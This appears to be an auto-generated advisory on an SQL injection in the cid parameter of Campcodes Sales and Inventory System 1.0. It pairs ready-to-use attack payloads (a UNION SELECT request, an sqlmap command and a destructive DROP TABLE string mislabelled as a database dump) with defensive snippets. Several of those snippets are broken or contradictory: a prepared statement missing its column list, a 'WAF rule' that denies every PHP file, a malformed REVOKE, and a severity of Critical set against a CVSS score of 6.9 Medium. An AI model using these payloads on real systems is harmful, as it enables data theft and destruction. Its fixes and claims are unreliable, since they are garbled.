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How the CVE Works:
CVE-2025-4712 is a critical SQL injection vulnerability in Campcodes Sales and Inventory System 1.0, specifically in the `/pages/account_summary.php` file. The flaw arises due to improper sanitization of the `cid` parameter, allowing attackers to inject malicious SQL queries. Since the system does not enforce prepared statements or input validation, an attacker can manipulate database operations remotely. This can lead to unauthorized data access, modification, or deletion. The vulnerability has a CVSS 4.0 score of 6.9 (MEDIUM) due to its network-based exploitability and potential impact on confidentiality, integrity, and availability.
DailyCVE Form:
Platform: Campcodes SIS
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch expected by 06/10/2025
What Undercode Say:
Exploitation:
1. Craft malicious payload:
GET /pages/account_summary.php?cid=1' UNION SELECT 1,user(),3,4-- -
2. Automate with SQLmap:
sqlmap -u "http://target/pages/account_summary.php?cid=1" --dbs
3. Dump database:
' OR 1=1; DROP TABLE users;--
Protection:
1. Input Sanitization:
$cid = mysqli_real_escape_string($conn, $_GET['cid']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM accounts WHERE cid = ?");
$stmt->bind_param("i", $cid);
3. WAF Rules:
location ~ .php$ {
deny all;
}
Detection:
1. Log Monitoring:
grep "union.select" /var/log/apache2/access.log
2. IDS Signature:
alert http any any -> any any (msg:"SQLi Attempt"; content:"' OR 1=1"; sid:10001;)
Mitigation:
1. Patch Verification:
diff -u account_summary.php.old account_summary.php.new
2. Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'webuser'@'%';
Forensics:
1. Extract Attack Traces:
strings /var/lib/mysql/mysql.log | grep -i "drop table"
2. Post-Exploit Analysis:
auditd -l | grep "account_summary.php"
No further commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
